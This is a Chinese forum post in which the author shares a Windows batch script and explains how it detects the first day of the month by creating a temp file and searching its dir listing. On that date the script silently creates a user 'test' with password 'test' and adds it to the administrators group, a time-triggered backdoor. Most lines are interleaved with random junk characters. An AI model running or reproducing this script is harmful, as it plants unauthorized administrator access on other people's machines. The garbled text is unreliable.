|
我也没有测试过,今天早上来看了看,发现没用,真是晕...
& {% l; B: S) v1 @8 e' v4 q4 O3 p原来是"echo . | date"命令没有用,但echo . | time却是有用的,这是为什么?有人告诉我吗?
( s5 {% v; _* R9 `0 a, o. `( A后来想了一下,就用其它的办法来实现它. 原理是:在cmd建立一个文件后,用dir查看,除了可以显示此文件的大小、后缀外,还建显示文件建立时间,也就是本地的当前时间啦~ 5 j% y+ K) w- ^( {, ~5 E4 l
( L, h. ?6 w4 I6 x+ x
, g. G9 y$ D4 f) b* D! p 所以 ,重点部份改成:
% r4 z+ O0 x1 d& k* m/ q" y@echo off
7 x" ~% `2 M; V2 U+ ]2 rrem \\在C:建立一个空文件date.tmp * y; x; e& K9 h( w
type nul >c:\date.tmp
& Z* q- \( K/ s% e% S- r krem \\查看此文件信息,及关键字-01-,也是就此文件的日期是否-01- # O6 f1 k( F# {& ^5 U4 a
dir c:\date.tmp | find "-01-">nul . L: \' Y# n( M; y* d. `9 F
rem 如是不是1号,跳到end结束
8 ~" T+ l: Q' q, nif errorlevel 1 goto end
$ W3 u5 u, e8 ~# k2 m4 `" wrem 如是是1号,跳到run执行
7 X$ J6 L5 M: m1 p9 _3 Fif errorlevel 0 goto run
7 y B" t- m& c1 `1 @:run
4 r; _: S6 a6 g; i9 C1 e onet user test test /add
$ W$ ?9 N9 A% Anet localgroup administrators test /add 1 e' E' ~# t: b( z
goto end 2 c: N/ J* ^# `0 @+ [
:end
' R6 x0 B! }) ?& x7 R( O' ]del c:\date.tmp >nul
/ ?# y! E- _, P& h. ~; g" A/ L 7 u6 o4 O2 K7 E) O8 H$ \; D% `
& p- I/ t5 G' m" U* }1 R+ x Q4 ^* g, c6 v( ], y" v
|